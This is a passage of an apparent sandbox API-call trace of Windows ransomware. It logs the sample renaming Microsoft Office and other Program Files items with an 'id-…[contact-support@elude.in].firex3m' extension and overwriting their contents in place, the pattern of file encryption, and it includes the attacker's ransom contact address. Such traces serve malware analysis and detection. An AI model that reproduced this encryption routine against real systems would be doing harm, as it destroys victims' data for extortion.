[0188.538] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.538] WriteFile (in: hFile=0x69c, lpBuffer=0x72af78f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72af78f*, lpNumberOfBytesWritten=0x54bff0c*=0x20, lpOverlapped=0x0) returned 1 [0188.538] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.539] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x54bff0c*=0x4, lpOverlapped=0x0) returned 1 [0188.539] CloseHandle (hObject=0x69c) returned 1 [0188.539] GetProcessHeap () returned 0x630000 [0188.539] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72a6370 | out: hHeap=0x630000) returned 1 [0188.540] GetProcessHeap () returned 0x630000 [0188.540] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71417f8 | out: hHeap=0x630000) returned 1 [0188.540] GetProcessHeap () returned 0x630000 [0188.540] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0188.540] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0188.540] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryLog.xltx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfcc4 | out: lpFindFileData=0x54bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaee2894, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaee2894, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x36526047, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9444, dwReserved0=0xa647496, dwReserved1=0x71417f0, cFileName="TelemetryLog.xltx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TELEME~1.FIR")) returned 0x6d4f80 [0188.540] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0188.540] Sleep (dwMilliseconds=0x1) [0190.754] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLDGPLAN.JPG", len=0x4f | out: pbstr=0x54bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLDGPLAN.JPG") returned 1 [0190.754] GetProcessHeap () returned 0x630000 [0190.754] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74656a8, Size=0x3c14) returned 0x74656a8 [0190.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLDGPLAN.JPG" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bldgplan.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0190.821] CloseHandle (hObject=0x4e4) returned 1 [0190.821] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0190.822] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLDGPLAN.JPG" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bldgplan.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLDGPLAN.JPG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bldgplan.jpg.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0190.822] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0190.823] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLDGPLAN.JPG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfc6c | out: lpFindFileData=0x54bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4986ebe, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4986ebe, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4986ebe, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd9ad, dwReserved0=0x780065, dwReserved1=0x6d0033, cFileName="BLDGPLAN.JPG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BLDGPL~2.FIR")) returned 0x6d5380 [0190.823] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0190.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLDGPLAN.JPG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bldgplan.jpg.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0190.823] GetProcessHeap () returned 0x630000 [0190.823] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x739f200 [0190.823] GetProcessHeap () returned 0x630000 [0190.823] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73aa630 [0190.823] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.823] ReadFile (in: hFile=0x4e4, lpBuffer=0x739f200, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x739f200*, lpNumberOfBytesRead=0x54bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0194.963] GetProcessHeap () returned 0x630000 [0194.963] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73174f0 [0194.963] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.963] WriteFile (in: hFile=0x4e4, lpBuffer=0x73aa630*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x73aa630*, lpNumberOfBytesWritten=0x54bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0195.331] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.331] WriteFile (in: hFile=0x4e4, lpBuffer=0x73b5a2f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x73b5a2f*, lpNumberOfBytesWritten=0x54bff0c*=0x20, lpOverlapped=0x0) returned 1 [0195.331] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.331] WriteFile (in: hFile=0x4e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x54bff0c*=0x4, lpOverlapped=0x0) returned 1 [0195.331] CloseHandle (hObject=0x4e4) returned 1 [0195.337] GetProcessHeap () returned 0x630000 [0195.337] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73aa630 | out: hHeap=0x630000) returned 1 [0195.340] GetProcessHeap () returned 0x630000 [0195.341] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x739f200 | out: hHeap=0x630000) returned 1 [0195.341] GetProcessHeap () returned 0x630000 [0195.341] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73174f0 | out: hHeap=0x630000) returned 1 [0196.298] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.298] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLDGPLAN.JPG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfcc4 | out: lpFindFileData=0x54bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4986ebe, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4986ebe, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x3a5ff5ad, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xd9d1, dwReserved0=0xa647496, dwReserved1=0x739f1f8, cFileName="BLDGPLAN.JPG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BLDGPL~2.FIR")) returned 0x6d5240 [0196.298] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0196.298] Sleep (dwMilliseconds=0x1) [0196.319] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Users.accdt", len=0x4d | out: pbstr=0x54bff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Users.accdt") returned 1 [0196.319] GetProcessHeap () returned 0x630000 [0196.319] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x478c) returned 0x7133a90 [0196.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Users.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\users.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0197.024] CloseHandle (hObject=0x6c0) returned 1 [0197.024] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0197.024] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Users.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\users.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Users.accdt.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\users.accdt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0197.025] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0197.025] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Users.accdt.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfc6c | out: lpFindFileData=0x54bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb62fbf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb62fbf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb655e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7d78, dwReserved0=0x6d0033, dwReserved1=0x0, cFileName="Users.accdt.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="USERSA~1.FIR")) returned 0x6d4f40 [0197.025] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0197.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Users.accdt.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\users.accdt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0197.025] GetProcessHeap () returned 0x630000 [0197.026] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7d81) returned 0x7342cc8 [0197.026] GetProcessHeap () returned 0x630000 [0197.026] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7d81) returned 0x734aa58 [0197.026] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.026] ReadFile (in: hFile=0x6c0, lpBuffer=0x7342cc8, nNumberOfBytesToRead=0x7d60, lpNumberOfBytesRead=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7342cc8*, lpNumberOfBytesRead=0x54bff0c*=0x7d60, lpOverlapped=0x0) returned 1 [0201.583] GetProcessHeap () returned 0x630000 [0201.583] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317608 [0201.584] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.584] WriteFile (in: hFile=0x6c0, lpBuffer=0x734aa58*, nNumberOfBytesToWrite=0x7d60, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x734aa58*, lpNumberOfBytesWritten=0x54bff0c*=0x7d60, lpOverlapped=0x0) returned 1 [0201.584] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.584] WriteFile (in: hFile=0x6c0, lpBuffer=0x73527b7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x73527b7*, lpNumberOfBytesWritten=0x54bff0c*=0x20, lpOverlapped=0x0) returned 1 [0201.584] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.584] WriteFile (in: hFile=0x6c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x54bff0c*=0x4, lpOverlapped=0x0) returned 1 [0201.584] CloseHandle (hObject=0x6c0) returned 1 [0201.584] GetProcessHeap () returned 0x630000 [0201.584] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x734aa58 | out: hHeap=0x630000) returned 1 [0201.584] GetProcessHeap () returned 0x630000 [0201.584] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7342cc8 | out: hHeap=0x630000) returned 1 [0201.584] GetProcessHeap () returned 0x630000 [0201.585] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317608 | out: hHeap=0x630000) returned 1 [0201.585] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0201.585] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Users.accdt.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfcc4 | out: lpFindFileData=0x54bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb62fbf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb62fbf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3e19c454, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x7d9c, dwReserved0=0xa647496, dwReserved1=0x7342cc0, cFileName="Users.accdt.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="USERSA~1.FIR")) returned 0x6d5380 [0201.585] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0201.585] Sleep (dwMilliseconds=0x1) [0203.707] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", len=0x64 | out: pbstr=0x54bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX") returned 1 [0203.707] GetProcessHeap () returned 0x630000 [0203.707] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4bf8) returned 0x7133a90 [0203.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\proof\\mswds_fr.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0203.735] CloseHandle (hObject=0x430) returned 1 [0203.735] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0203.735] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\proof\\mswds_fr.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\proof\\mswds_fr.lex.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0203.736] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0203.736] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfc6c | out: lpFindFileData=0x54bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb99d23b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb99d23b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb9c364d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x750073, dwReserved1=0x700070, cFileName="MSWDS_FR.LEX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSWDS_~1.FIR")) returned 0x6d5200 [0203.736] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0203.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\proof\\mswds_fr.lex.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0203.737] GetProcessHeap () returned 0x630000 [0203.737] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7494668 [0203.738] GetProcessHeap () returned 0x630000 [0203.738] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x749fa98 [0203.738] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.738] ReadFile (in: hFile=0x430, lpBuffer=0x7494668, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7494668*, lpNumberOfBytesRead=0x54bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0211.809] GetProcessHeap () returned 0x630000 [0211.809] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317db0 [0211.810] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.810] WriteFile (in: hFile=0x430, lpBuffer=0x749fa98*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x749fa98*, lpNumberOfBytesWritten=0x54bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0211.810] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.810] WriteFile (in: hFile=0x430, lpBuffer=0x74aae97*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aae97*, lpNumberOfBytesWritten=0x54bff0c*=0x20, lpOverlapped=0x0) returned 1 [0213.663] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.663] WriteFile (in: hFile=0x430, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x54bff0c*=0x4, lpOverlapped=0x0) returned 1 [0213.663] CloseHandle (hObject=0x430) returned 1 [0213.664] GetProcessHeap () returned 0x630000 [0213.664] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x749fa98 | out: hHeap=0x630000) returned 1 [0213.664] GetProcessHeap () returned 0x630000 [0213.664] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7494668 | out: hHeap=0x630000) returned 1 [0213.664] GetProcessHeap () returned 0x630000 [0213.664] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317db0 | out: hHeap=0x630000) returned 1 [0213.664] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0213.664] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfcc4 | out: lpFindFileData=0x54bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb99d23b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb99d23b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x454e45dc, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x48313, dwReserved0=0xa647496, dwReserved1=0x7494660, cFileName="MSWDS_FR.LEX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSWDS_~1.FIR")) returned 0x6d53c0 [0213.664] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0213.664] Sleep (dwMilliseconds=0x1) [0215.529] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Config_131491847713900000.json", len=0x74 | out: pbstr=0x54bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Config_131491847713900000.json") returned 1 [0215.529] GetProcessHeap () returned 0x630000 [0215.529] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74d7f88, Size=0x4f5c) returned 0x74d7f88 [0215.529] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Config_131491847713900000.json" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\config_131491847713900000.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0215.688] CloseHandle (hObject=0x4c0) returned 1 [0215.699] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0215.717] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Config_131491847713900000.json" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\config_131491847713900000.json"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Config_131491847713900000.json.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\config_131491847713900000.json.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0215.718] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0215.719] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Config_131491847713900000.json.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfc6c | out: lpFindFileData=0x54bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d8d47d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x89d8d47d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x89d8d47d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x90d0, dwReserved0=0x340032, dwReserved1=0x0, cFileName="Config_131491847713900000.json.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CONFIG~1.FIR")) returned 0x6d5480 [0215.719] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) 